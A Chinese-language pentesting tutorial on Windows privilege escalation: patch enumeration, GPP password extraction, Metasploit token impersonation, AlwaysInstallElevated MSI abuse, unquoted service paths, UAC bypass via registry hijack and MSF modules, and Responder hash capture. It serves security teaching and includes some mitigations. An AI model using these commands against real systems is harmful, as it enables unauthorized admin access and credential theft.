此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的EXP和它们的补丁编号,进行提升权限。
下面是几个方便查找相应补丁漏洞的辅助查询页面:
提权辅助脚本:https://github.com/ianxtianxt/win-exp-
Windows平台提权漏洞集合:https://github.com/SecWiki/windows-kernel-exploits
### 手工查找补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
#MSF后渗透扫描
post/windows/gather/enum_patches
#Powershell扫描
Import-Module C:\Sherlock.ps1
Find-AllVulns
内核溢出提权
电脑里的数据就好比水缸里的水,正常情况下水满了就不会在向水缸里注水,如果继续注入,水就会溢出到外界从而污染外界环境;这里的水缸就类似与电脑里的缓冲区或者内存。
内核溢出通常依托于目标系统的漏洞,如果目标没有及时安装相应的补丁,则可能造成溢出。
查找缺失补丁和exp
使用系统指令
首先获得获得已安装的补丁
wmic qfe get caption,description,hotfixid,installedon
systeminfo | findstr KB
然后借助提权辅助站点如https://i.hacking8.com/tiquan/或者http://blog.neargle.com/win-powerup-exp-index/进行查询未安装补丁或搜索可用exp
使用Windows-Exploit-Suggester
Windows-Exploit-Suggester可以将已安装的补丁和微软数据库中的补丁做比对,从而识别可提权的漏洞。使用方法如下:
step1.首先需要更新漏洞数据库./windows-exploit-suggester.py --update
记住最新库的文件名,如2021-05-28-mssb.xls
step2:使用systeminfo获取系统信息,将其保存,如testf.txt
step3:执行./windows-exploit-suggester.py --database 2021-05-28-mssb.xls --systeminfo test.txt
使用sherlock 脚本
sherlock和上述的Windows-Exploit-Suggester具有同样的作用。
使用方法:
step1: 输入Import-Module .\Sherlock.ps1导入脚本
step2:输入Find-AllVulns 扫描
sysvol是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。sysvol文件夹是在安装活动目录时自动创建的,主要用来存放登陆脚本、组策略数据、其他域控制器需要的域信息。
sysvol在所有经过身份验证的域用户、域信任用户具有读权限的活动目录的域范围内共享,整个sysvol目录在所有的域控制器中是自动同步和共享的,所有的域策略都存放在sysvol下。为方便对所有机器进行操作,网络管理员会使用域策略进行统一的配置和管理,那么所有机器的本地管理员密码就是一样的,黑客就是利用这一点。
进入「计算机配置」下的「首选项」,就可以更新一个用户啦。可以看到密码是灰色的,这是因为微软修复了这个漏洞,有点苦涩~
计算机配置中的账户策略,也只是设置密码的复杂度、长度、过期时间等~
github脚本下载地址:
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1
raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1
下载下来,跑了一下脚本,没有发现任何密码,这是因为我上面的密码是灰色的,无法设置。
查看文件,发现是这样子的,里面没有密码。对于真正的早期场景来说,这里面有一个AES加密的密码,通过解密脚本,就可以拿到密码了。这充分说明了,搞安全要趁早,加油。
在用于管理组策略的计算机上安装KB2962486补丁,防止新的凭据被放置在组策略首选项里。微软在2014年已经修复了这个漏洞,这也是为啥密码是灰色的,也就是说密码不再保存到首选项中了,所以这个实验比较苦涩,哈哈哈哈。
我用实验证明了这个攻击已经过时了,此外需要对Everyone访问权限进行设置:
令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个账户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。令牌会持续存在于系统内部,除非操作系统重新启动。
令牌最大的特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。访问令牌(Access Token)代表访问控制操作主题的系统对象。密保令牌(Security Token)也叫作认证令牌或硬件令牌,是一种用于实现计算机身份校验的物理设备。会话令牌(Session Token)是交互会话的唯一身份标识符。
伪造令牌的核心协议是Kerberos协议。kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。这里有一篇文章详细地介绍了kerberos认证流程 Kerberos协议认证,这里我简单叙述一下客户端请求证书的过程
在这里插入图片描述
客户端向认证服务器发送请求,要求得到证书
认证服务器收到请求后,将包含客户端密钥的加密证书发送给客户端。该证书包含服务器Ticket(由服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(Session Key)。当然,认证服务器也会向服务器发送一份证书,使服务器能够验证登录的客户端的身份。
客户端将Ticket传送给服务器。如果服务器确认该客户端的身份,就允许它登录服务器。
客户端登陆服务器后,攻击者就能通过入侵服务器来窃取客户端的身份了。
use incognito
list_tokens -u
得到授权令牌:
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
WIN-D2GN1OUFTMB\ailx04
得到模拟令牌:
NT AUTHORITY\ANONYMOUS LOGON
伪造授权令牌,就可以拥有它的权限了
咱们先拿这个ailx04的令牌,whoami显示的就是ailx04
注意这里的双斜杠
impersonate_token WIN-D2GN1OUFTMB\\ailx04
再来一个system权限,whoami显示的就是system
注意这里的双引号
在 Windows 操作系统中,攻击者通常会通过系统内核溢出漏洞进行提权,但如果这种方式失败的情况,就会利用系统中的配置错误来提权。Windows 操作系统中的常见配置错误包括管理员凭据配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等。
windows 系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows 服务都是以 system 权限启动的,其文件夹、文件和注册表键值都是受强访问控制机制保护的。
系统服务权限配置错误的可能
Windows Installer 是 Windows 操作系统的组件之一,专门用来管理和配置软件服务。Windows Installer 除了是一个安装程序外,还用于管理软件的安装、管理软件组件的添加和删除、监视文件的还原、通过回滚进行灾难恢复等。
Windows Installer 分为客户端安装服务 (Msiexec.exe) 和 MSI 文件两部分,MSI 文件是 Windows Installer 的数据包,它实际上是一个数据库,包含安装和卸载软件时需要使用的大量指令和数据。Msiexec.exe 一般在运行 Microsoft Update 安装更新或者安装一些软件的使用,占用内存比较多。
注册表键 AlwaysInstallElevated 是一个策略设置项。Windows 允许低权限用户以 System 权限运行安装软件。如果启动此策略设置项,那么任何权限的用户都能以 NT AUTHORITY\SYSTEM 权限来安装恶意的 MSI 文件
这个漏洞产生的原因是用户开启了 Windows Installer 特权安装功能,要复现这个漏洞,我们就得先在管理模板的计算机配置和用户配置中启用永远以高特权进行安装这一项
设置完毕后,注册表对应的值也会设置为 1,路径为HKEY_CURRENT\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
还有这个路径HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
首先我们使用Get-RegistryAlwaysInstallElevated
模块来检查注册表键是否被设置。若被设置,就意味着 MSI 文件是以 System 权限运行的,True 表示已经设置
接下来我们添加账户,运行Write-UserAddMSI
模块
然后我们以普通账户运行 UserAdd.msi 账户,就会在管理员组添加了一个管理员账户,命令如下
msiexec /q /i UserAdd.msi
net user
参数 | 作用 |
---|---|
/quiet | 在安装过程中禁止向用户发送消息 |
/qn | 不使用 GUI |
/i | 安装程序 |
该漏洞利用了 Windows 文件路径解析的特性,并涉及服务路径的文件 / 文件夹权限。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。换句话说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
该漏洞存在两种可能性:
UAC(User Account Control,用户账号控制) 是微软为了提高系统安全性在 Windows Vista 中引入的技术。UAC 要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC 在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在 Windows Vista 及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows 目录,以及读写系统登录数据库等操作,都需要经常 UAC(User Account Control,用户账号控制) 的认证。
需要 UAC 的授权才能进行的操作列表如下:
UAC 有如下四种设置要求:
我们可以找一些以高权限运行的,但是并没有 uac 提示的进程,然后利用 ProcessMonitor 寻找他启动调用却缺失的如 dll、注册表键值,然后我们添加对应的值达到 bypass uac 的效果。
我们 win10 以 ComputerDefaults.exe 作为 bypass 案例,我们利用 ProcessMonitor 对该进程的行为做一个监听:
先寻找 HKCU:\Software\Classes\ms-settings\Shell\Open\Command 注册表,然后发现键值不存在,再寻找 HKCR:\mssettings\Shell\Open\Command\DelegateExecute
因此当我们修改 hkcu 注册表后,运行 ComputerDefaults.exe 就会得到一个 bypass uac 后的 cmd,
当修改 HKCU\Software\Classes \ 下的键值时,会同步修改 HKCR 下面的键值。
Bypassuac 提权的 MSF 模块
use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
MSF 中 Bypassuac 模块的使用前提有两个:
use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0
set lport 24444 #本地监听的端口,随便设置一个未被占用的端口即可
exploit
这里获取的 test 用户在管理员组中,且 UAC 设置为默认,使用 exploit/windows/local/bypassuac 模块。
Runas 模块
使用 exploit/windows/local/ask 模块,需要使用 EXE::Custom 选项创建一个可执行文件 (需要免杀),目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的 shell。
使用该模块的前提:
Invoke-PsUACme 模块使用来自 UACME 项目的 DLL 绕过 UAC。
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -verbose #使用sysprep方法并执行默认的payload
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose #使用oobe方法并执行默认的payload
在企业网络环境中,防止绕过 UAC 的最好方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。
使用本地管理员权限登录的用户,要将 UAC 设置为 “始终通知” 或者删除该用户的本地管理员权限(这样设置后,会像在 Windows Vista 中一样,总是弹出警告)。
LLMNR 是指本地链路多播名称解析,它是一种域名系统数据包格式。当局域网中的 DNS 服务器不可用时,DNS 客户端会使用 LLMNR 解析本地网段中机器的名称,直到 DNS 服务器恢复正常为止。LLMNR 还支持 IPv6 协议。
LLMNR 的工作过程如下:
224.0.0.252
的 5355 端口发送多播查询请求,以获取主机名所对应的 IP 地址。查询范围仅限于本地子网。NetBIOS 是一种网络协议,一般用在十几台计算机组成的局域网中,可以根据 NetBIOS 协议广播获得计算机名称,并将其解析为相应的 IP 地址。在 Windows NT 以后版本的所有操作系统中均可使用 NetBIOS,但是它不支持 IPv6 协议。
NetBIOS 提供三种服务:
首先先阐述一下Net-NTLM Hash
和NTLM Hash
是不一样的。NTLM Hash
是指 Windows 操作系统的 Security Account Manager 中保存的用户密码散列值。NTLM Hash
通常保存在 Windows 的 SAM 文件或者 NTDS.DIT 数据库中,用于对访问资源的用户进行身份认证。Net-NTLM Hash
是指在网络环境中经过 NTLM 认证的散列值。挑战 / 响应验证中的 “响应” 就包含Net-NTLM Hash
。使用Responder
抓取通常就是Net-NTLM Hash
。攻击者无法使用该散列值进行哈希传递攻击,只能在使用Hashcat
等工具得到明文后进行横向移动攻击。
如果网络目标的 DNS 服务器因发生故障而无法提供服务时,会退回 LLMNR 和 NBT-NS 进行计算机名解析。
Responder 工具是监听 LLMNR 和 NBT-NS 协议的工具之一,能够抓取网络中所有 LLMNR 和 NBT-NS 请求并响应,获取最初的账户凭证。Responder 使用内置 SMB 认证服务器、MSSQL 认证服务器、HTTP 认证服务器、HTTPS 认证服务器、LDAP 认证服务器、DNS 认证服务器、WPAD 认证服务器,以及 FTP、POP3、IMAP、SMTP 等服务器,收集目标网络中计算机的凭据,还可以通过Multi-Relay
功能在目标系统上执行命令。
进入目标后,如果我们没有获得任何重要的凭证和系统的相关消息,那么我们可以使用Responder
的监听模式。它只会对网络中的流量进行分析,并不会主动去响应这些流量包。Responder
的ON
代表开启该服务的监听,OFF
代表关闭了该服务的监听。
在渗透测试中,如果使用Responder
主动响应请求,它会自动回应客户端的请求并声明自己就是被输入了错误计算机名的那台机器,然后尝试建立 SMB 连接。紧接着客户端会发送自己的Net-NTLM Hash
进行身份验证,此时将得到目标主机的Net-NTLM Hash
。